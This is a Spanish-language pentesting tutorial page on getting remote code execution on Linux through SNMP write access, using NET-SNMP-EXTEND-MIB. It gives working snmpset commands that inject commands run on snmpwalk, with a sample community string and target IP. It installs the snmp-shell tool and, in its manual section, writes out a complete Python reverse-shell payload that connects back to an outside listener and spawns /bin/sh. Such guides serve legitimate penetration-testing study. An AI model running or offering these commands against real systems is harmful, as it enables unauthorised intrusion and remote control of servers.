---
description: Obtener ejecución de código remoto mediante SNMP.
---

# SNMP (RCE Linux)

## INTRODUCCIÓN

{% embed url="https://book.hacktricks.xyz/pentesting/pentesting-snmp/snmp-rce" %}
Fuente
{% endembed %}

{% embed url="https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell" %}
Fuente
{% endembed %}

El servicio SNMP es muchas veces olvidado por el administrador del equipo o servidor, dejandolo con la configuración por defecto.

Un servicio SNMP con **permisos de escritura (rwcommunity) en un sistema Linux** puede ser explotado para ganar acceso y ejecutar comandos en el servidor.

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FX2fErlPcXlbXyB6SHY1Y%2Fsnmp2.png?alt=media\&token=31726aca-650a-4bcc-b750-528773f2a562)

## EXTENDER SERVICIOS

Aunque no tienes permisos para modificar las entradas existentes en el **`snmpd.conf`**, si que es posible añadir comandos adicionales de SNMP por qué el permiso "**MAX-ACCESS**" en el MIB es "**read-create**".

Añadir un nuevo comando básicamente funciona añadiendo una fila extra a la tabla "**nsExtendObjects**":

```
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```

Al injectar un comando que ejecutar en el servicio SNMP, NET-SNMP-EXTEND-MIB necesita que utilices la ruta completa al ejecutable. El binario o script llamado tambien debe existir y ser ejecutable.

![Funciona](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2Fw8UvSfJnYBfiA6uA2H5E%2Fsnmp3.png?alt=media\&token=8fa0fe32-7b76-4b90-9f97-7653a7770e9b)

Podemos ejecutar el comando que hemos injectado enumerándolo con snmpwalk.

```
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```

Vemos que el comando es /bin/echo:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2Fk5ow7cr9oJyGp0mGlf0M%2Fsnmp4.png?alt=media\&token=3f260212-9706-4286-951a-ca4bf32fa08e)

El comando se ejecuta cuando es leído. **run-on-read()**

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2Fdkdjre32FwvhMbAmHPKT%2Fsnmp5.png?alt=media\&token=2f33c5fe-4515-4ce2-9d88-9e142eb5ff1c)

El comando fué ejecutado finalmente durante snmpwalk:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FH0j5IXOTZ13FTXHmpjdZ%2Fsnmp6.png?alt=media\&token=4138e0aa-4d03-446e-aae6-7eab299020ee)

## OBTENER UNA SHELL CON NET-SNMP EXTEND

La forma más rápida y automatizada de hacerlo es con la siguiente herramienta en Python:

{% embed url="https://github.com/mxrch/snmp-shell" %}
Fuente
{% endembed %}

```
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```

### Manualmente

Tambien se puede crear una shell reversa manualmente inyectando el siguiente comando en SNMP:

```
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FGvmXbJ53uCL3wGhCFzDc%2Fsnmp7.png?alt=media\&token=18d40972-776b-4671-bbdb-0c134b2d08f2)

Ejecutamos snmpwalk para activar la ejecución del comando:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FCUTAX14VZAA7mQe1M8WC%2Fsnmp8.png?alt=media\&token=32e00da9-77aa-4c0f-b214-6dd2d211d8c1)

Por último, nuestro netcat recibe la reverse shell y obtenemos control sobre el objetivo
